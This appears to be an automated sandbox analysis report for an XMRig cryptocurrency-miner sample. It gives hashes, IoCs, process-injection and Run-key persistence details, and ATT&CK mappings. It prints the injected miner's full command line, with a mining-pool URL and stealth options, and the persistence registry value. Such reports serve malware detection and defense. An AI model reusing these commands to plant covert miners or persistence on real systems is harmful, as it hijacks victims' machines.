xmrig | 2276decf1e3a971157aedf6455c79109c30e9871b17e4cbf5d4305353cc014ef

General

Target

2276decf1e3a971157aedf6455c79109c30e9871b17e4cbf5d4305353cc014ef.exe
Size

2.1MB
MD5

457115eb0e95e1377f8beaa00b545871
SHA1

9cb01f9d44134355f9f55cf68ef02740e2aee8f0
SHA256

2276decf1e3a971157aedf6455c79109c30e9871b17e4cbf5d4305353cc014ef
SHA512

55328834359be46e42b34afa96c89fc26a52928768bd6ecff0a49f5d823d97e3e3d3b3f53e6de9a18549856517d8ccfc1e9cc363e6360a91fa0ea7aa9a36ce5a
SSDEEP

49152:Uzb5vW78fienXiALMq/09Jbqj0s/YYP6mN:IxhieXt09jaIm

Score

10^/10

xmrig miner persistence

Malware Config

Signatures

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 14 IoCs

miner

Processes:

resource	yara_rule
behavioral1/memory/1340-67-0x0000000140000000-0x000000014072E000-memory.dmp	xmrig
behavioral1/memory/1340-69-0x0000000140000000-0x000000014072E000-memory.dmp	xmrig
behavioral1/memory/1340-71-0x0000000140000000-0x000000014072E000-memory.dmp	xmrig
behavioral1/memory/1340-72-0x0000000140000000-0x000000014072E000-memory.dmp	xmrig
behavioral1/memory/1340-73-0x0000000140000000-0x000000014072E000-memory.dmp	xmrig
behavioral1/memory/1340-75-0x0000000140000000-0x000000014072E000-memory.dmp	xmrig
behavioral1/memory/1340-77-0x0000000140000000-0x000000014072E000-memory.dmp	xmrig
behavioral1/memory/1340-78-0x0000000140000000-0x000000014072E000-memory.dmp	xmrig
behavioral1/memory/1340-79-0x0000000140000000-0x000000014072E000-memory.dmp	xmrig
behavioral1/memory/1340-81-0x0000000140000000-0x000000014072E000-memory.dmp	xmrig
behavioral1/memory/1340-82-0x00000001402CCBC8-mapping.dmp	xmrig
behavioral1/memory/1340-84-0x0000000140000000-0x000000014072E000-memory.dmp	xmrig
behavioral1/memory/1340-86-0x0000000140000000-0x000000014072E000-memory.dmp	xmrig
behavioral1/memory/1340-87-0x0000000140000000-0x000000014072E000-memory.dmp	xmrig

Executes dropped EXE 1 IoCs

Processes:

BrowserUpdate.exe

pid process

1324 BrowserUpdate.exe
Cryptocurrency Miner
Makes network request to known mining pool URL.
miner
Loads dropped DLL 1 IoCs

Processes:

2276decf1e3a971157aedf6455c79109c30e9871b17e4cbf5d4305353cc014ef.exe

pid process

980 2276decf1e3a971157aedf6455c79109c30e9871b17e4cbf5d4305353cc014ef.exe

pid	process
1324	BrowserUpdate.exe

pid	process
980	2276decf1e3a971157aedf6455c79109c30e9871b17e4cbf5d4305353cc014ef.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

2276decf1e3a971157aedf6455c79109c30e9871b17e4cbf5d4305353cc014ef.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-3406023954-474543476-3319432036-1000\Software\Microsoft\Windows\CurrentVersion\Run\BrowserUpdate.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\BrowserUpdate.exe"	2276decf1e3a971157aedf6455c79109c30e9871b17e4cbf5d4305353cc014ef.exe

Suspicious use of SetThreadContext 1 IoCs

Processes:

BrowserUpdate.exe

description pid process target process

PID 1324 set thread context of 1340 1324 BrowserUpdate.exe svchost.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Suspicious behavior: EnumeratesProcesses 1 IoCs

Processes:

2276decf1e3a971157aedf6455c79109c30e9871b17e4cbf5d4305353cc014ef.exe

pid process

980 2276decf1e3a971157aedf6455c79109c30e9871b17e4cbf5d4305353cc014ef.exe

description	pid	process	target process
PID 1324 set thread context of 1340	1324	BrowserUpdate.exe	svchost.exe

pid	process
980	2276decf1e3a971157aedf6455c79109c30e9871b17e4cbf5d4305353cc014ef.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

Processes:

2276decf1e3a971157aedf6455c79109c30e9871b17e4cbf5d4305353cc014ef.exeBrowserUpdate.exesvchost.exe

description	pid	process
Token: SeDebugPrivilege	980	2276decf1e3a971157aedf6455c79109c30e9871b17e4cbf5d4305353cc014ef.exe
Token: SeDebugPrivilege	1324	BrowserUpdate.exe
Token: SeLockMemoryPrivilege	1340	svchost.exe
Token: SeLockMemoryPrivilege	1340	svchost.exe

Suspicious use of WriteProcessMemory 19 IoCs

Processes:

2276decf1e3a971157aedf6455c79109c30e9871b17e4cbf5d4305353cc014ef.exeBrowserUpdate.exe

description	pid	process	target process
PID 980 wrote to memory of 1324	980	2276decf1e3a971157aedf6455c79109c30e9871b17e4cbf5d4305353cc014ef.exe	BrowserUpdate.exe
PID 980 wrote to memory of 1324	980	2276decf1e3a971157aedf6455c79109c30e9871b17e4cbf5d4305353cc014ef.exe	BrowserUpdate.exe
PID 980 wrote to memory of 1324	980	2276decf1e3a971157aedf6455c79109c30e9871b17e4cbf5d4305353cc014ef.exe	BrowserUpdate.exe
PID 1324 wrote to memory of 1340	1324	BrowserUpdate.exe	svchost.exe
PID 1324 wrote to memory of 1340	1324	BrowserUpdate.exe	svchost.exe
PID 1324 wrote to memory of 1340	1324	BrowserUpdate.exe	svchost.exe
PID 1324 wrote to memory of 1340	1324	BrowserUpdate.exe	svchost.exe
PID 1324 wrote to memory of 1340	1324	BrowserUpdate.exe	svchost.exe
PID 1324 wrote to memory of 1340	1324	BrowserUpdate.exe	svchost.exe
PID 1324 wrote to memory of 1340	1324	BrowserUpdate.exe	svchost.exe
PID 1324 wrote to memory of 1340	1324	BrowserUpdate.exe	svchost.exe
PID 1324 wrote to memory of 1340	1324	BrowserUpdate.exe	svchost.exe
PID 1324 wrote to memory of 1340	1324	BrowserUpdate.exe	svchost.exe
PID 1324 wrote to memory of 1340	1324	BrowserUpdate.exe	svchost.exe
PID 1324 wrote to memory of 1340	1324	BrowserUpdate.exe	svchost.exe
PID 1324 wrote to memory of 1340	1324	BrowserUpdate.exe	svchost.exe
PID 1324 wrote to memory of 1340	1324	BrowserUpdate.exe	svchost.exe
PID 1324 wrote to memory of 1340	1324	BrowserUpdate.exe	svchost.exe
PID 1324 wrote to memory of 1340	1324	BrowserUpdate.exe	svchost.exe

C:\Users\Admin\AppData\Local\Temp\2276decf1e3a971157aedf6455c79109c30e9871b17e4cbf5d4305353cc014ef.exe
"C:\Users\Admin\AppData\Local\Temp\2276decf1e3a971157aedf6455c79109c30e9871b17e4cbf5d4305353cc014ef.exe"
1⤵
- Loads dropped DLL
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:980

C:\Users\Admin\AppData\Local\Temp\BrowserUpdate.exe
"C:\Users\Admin\AppData\Local\Temp\BrowserUpdate.exe"
2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1324

C:\WINDOWS\System32\svchost.exe
C:\WINDOWS\System32\svchost.exe -B --coin=monero --asm=auto --cpu-memory-pool=-1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=stratum+tcp://xmr.pool.minergate.com:45700 [email protected] --pass= --cpu-max-threads-hint=40 --donate-level=5 --unam-idle-wait=5 --unam-idle-cpu=90 --unam-stealth
3⤵
- Suspicious use of AdjustPrivilegeToken
PID:1340

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

1

T1060

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\BrowserUpdate.exe
Filesize
2.1MB

MD5
457115eb0e95e1377f8beaa00b545871

SHA1
9cb01f9d44134355f9f55cf68ef02740e2aee8f0

SHA256
2276decf1e3a971157aedf6455c79109c30e9871b17e4cbf5d4305353cc014ef

SHA512
55328834359be46e42b34afa96c89fc26a52928768bd6ecff0a49f5d823d97e3e3d3b3f53e6de9a18549856517d8ccfc1e9cc363e6360a91fa0ea7aa9a36ce5a

Download Submit
C:\Users\Admin\AppData\Local\Temp\BrowserUpdate.exe
Filesize
2.1MB

MD5
457115eb0e95e1377f8beaa00b545871

SHA1
9cb01f9d44134355f9f55cf68ef02740e2aee8f0

SHA256
2276decf1e3a971157aedf6455c79109c30e9871b17e4cbf5d4305353cc014ef

SHA512
55328834359be46e42b34afa96c89fc26a52928768bd6ecff0a49f5d823d97e3e3d3b3f53e6de9a18549856517d8ccfc1e9cc363e6360a91fa0ea7aa9a36ce5a

Download Submit
\Users\Admin\AppData\Local\Temp\BrowserUpdate.exe
Filesize
2.1MB

MD5
457115eb0e95e1377f8beaa00b545871

SHA1
9cb01f9d44134355f9f55cf68ef02740e2aee8f0

SHA256
2276decf1e3a971157aedf6455c79109c30e9871b17e4cbf5d4305353cc014ef

SHA512
55328834359be46e42b34afa96c89fc26a52928768bd6ecff0a49f5d823d97e3e3d3b3f53e6de9a18549856517d8ccfc1e9cc363e6360a91fa0ea7aa9a36ce5a

Download Submit
memory/980-54-0x000000013FBF0000-0x000000013FE10000-memory.dmp

Filesize
2.1MB

Download
memory/980-55-0x000007FEFBA41000-0x000007FEFBA43000-memory.dmp

Filesize
8KB

Download
memory/1324-57-0x0000000000000000-mapping.dmp

Download
memory/1324-60-0x000000013F850000-0x000000013FA70000-memory.dmp

Filesize
2.1MB

Download
memory/1324-61-0x00000000021F0000-0x00000000021F8000-memory.dmp

Filesize
32KB

Download
memory/1340-69-0x0000000140000000-0x000000014072E000-memory.dmp

Filesize
7.2MB

Download
memory/1340-77-0x0000000140000000-0x000000014072E000-memory.dmp

Filesize
7.2MB

Download
memory/1340-65-0x0000000140000000-0x000000014072E000-memory.dmp

Filesize
7.2MB

Download
memory/1340-67-0x0000000140000000-0x000000014072E000-memory.dmp

Filesize
7.2MB

Download
memory/1340-62-0x0000000140000000-0x000000014072E000-memory.dmp

Filesize
7.2MB

Download
memory/1340-71-0x0000000140000000-0x000000014072E000-memory.dmp

Filesize
7.2MB

Download
memory/1340-72-0x0000000140000000-0x000000014072E000-memory.dmp

Filesize
7.2MB

Download
memory/1340-73-0x0000000140000000-0x000000014072E000-memory.dmp

Filesize
7.2MB

Download
memory/1340-75-0x0000000140000000-0x000000014072E000-memory.dmp

Filesize
7.2MB

Download
memory/1340-63-0x0000000140000000-0x000000014072E000-memory.dmp

Filesize
7.2MB

Download
memory/1340-78-0x0000000140000000-0x000000014072E000-memory.dmp

Filesize
7.2MB

Download
memory/1340-79-0x0000000140000000-0x000000014072E000-memory.dmp

Filesize
7.2MB

Download
memory/1340-81-0x0000000140000000-0x000000014072E000-memory.dmp

Filesize
7.2MB

Download
memory/1340-82-0x00000001402CCBC8-mapping.dmp

Download
memory/1340-84-0x0000000140000000-0x000000014072E000-memory.dmp

Filesize
7.2MB

Download
memory/1340-85-0x00000000000F0000-0x0000000000104000-memory.dmp

Filesize
80KB

Download
memory/1340-86-0x0000000140000000-0x000000014072E000-memory.dmp

Filesize
7.2MB

Download
memory/1340-87-0x0000000140000000-0x000000014072E000-memory.dmp

Filesize
7.2MB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads